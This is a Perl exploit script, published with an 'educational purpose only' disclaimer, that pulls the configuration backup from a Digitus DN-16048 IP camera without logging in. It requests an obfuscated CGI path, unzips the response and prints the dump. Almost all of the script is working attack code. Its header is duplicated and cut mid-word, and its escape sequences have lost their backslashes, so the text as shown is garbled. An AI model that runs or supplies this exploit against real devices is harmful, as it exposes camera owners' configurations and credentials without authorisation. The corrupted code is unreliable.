#!/usr/bin/perl -w
#
# Digitus DN-16048 Camera Remote Configuration Disclosure
#
# Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
#
# Disclaime #!/usr/bin/perl -w
#
# Digitus DN-16048 Camera Remote Configuration Disclosure
#
# Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
#
# Disclaimer:
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages
# caused by direct or indirect use of the information or functionality provided by these programs.
# The author or any Internet provider bears NO responsibility for content or misuse of these programs
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
# (Dont do anything without permissions)
#
#
use strict;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;
use Gzip::Faster;
$| = 1;
binmode(STDOUT, ":utf8");
my $host = shift || 'https://192.168.1.1/'; # Full path url to the store
print "33[2J"; #clear the screen
print "33[0;0H"; #jump to 0,0
print "[ Digitus DN-16048 Camera Remote Configuration Disclosure ";
print "[ Xploit Author: Todor Donev 2019 <todor.donev@gmail.com> ";
print "[ e.g. perl $0 https://target:port/ " and exit if ($host !~ m/^http/);
print "[ Initializing the browser ";
my $user_agent = rand_ua("browsers");
my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });
$browser->timeout(30);
$browser->agent($user_agent);
my $target = $host."x2fx77x65x62x2fx63x67x69x2dx62x69x6ex2fx68x69x33x35x31x30x2fx62x61x63x6bx75x70x2ex63x67x69";
my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host]);
my $response = $browser->request($request) or die "[ Exploit Failed: $!";
print "[ 401 Unauthorized! " and exit if ($response->code eq '401');
print "[ Server: ", $response->header('Server'), " ";
my $gzip = $response->content();
print "[ Configuration Dump: [ ";
print "[ ", $_, " " for split(/ /,gunzip($gzip));